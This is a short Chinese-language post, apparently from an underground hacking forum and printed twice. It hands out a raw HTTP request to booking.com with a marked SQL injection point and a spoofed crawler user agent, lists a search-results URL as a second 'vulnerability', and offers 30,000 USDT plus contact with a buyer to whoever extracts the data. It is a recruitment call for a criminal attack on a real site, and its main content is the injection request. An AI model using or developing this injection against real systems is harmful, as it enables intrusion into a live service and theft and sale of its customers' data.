booking 搞了好久搞不动 太恶心了
发出来大家弄吧 注入点标记好了
GET /87sduif98q3rijax?d=www.booking.com<Encode>' or(#inject#--</Encode> HTTP/1.1
User-Agent: BaiduSpider
Accept-Encoding: gzip, deflate
Host: www.booking.com
【union / 443 / ssl 】
漏洞二:
【https://www.booking.com/searchresults.ja.html?ss=%E3%82%AF%E3%82%A2%E3%83%A9%E3%83%AB%E3%83%B3%E3%83%97%E3%83%BC%E3%83%AB&sb_entire_place=1&sb_travel_purpose=business&ssne=%E3%82%AF%E3%82%A2%E3%83%A9%E3%83%AB%E3%83%B3%E3%83%97%E3%83%BC%E3%83%AB&ssne_untouched=%E3%82%AF%E3%82%A2%E3%83%A9%E3%83%AB%E3%83%B3%E3%83%97%E3%83%BC%E3%83%AB】
已退款 谁打出来3万U 直接对接金主
发出来大家弄吧 注入点标记好了
GET /87sduif98q3rijax?d=www.booking.com<Encode>' or(#inject#--</Encode> HTTP/1.1
User-Agent: BaiduSpider
Accept-Encoding: gzip, deflate
Host: www.booking.com
【union / 443 / ssl 】
漏洞二:
【https://www.booking.com/searchresults.ja.html?ss=%E3%82%AF%E3%82%A2%E3%83%A9%E3%83%AB%E3%83%B3%E3%83%97%E3%83%BC%E3%83%AB&sb_entire_place=1&sb_travel_purpose=business&ssne=%E3%82%AF%E3%82%A2%E3%83%A9%E3%83%AB%E3%83%B3%E3%83%97%E3%83%BC%E3%83%AB&ssne_untouched=%E3%82%AF%E3%82%A2%E3%83%A9%E3%83%AB%E3%83%B3%E3%83%97%E3%83%BC%E3%83%AB】
已退款 谁打出来3万U 直接对接金主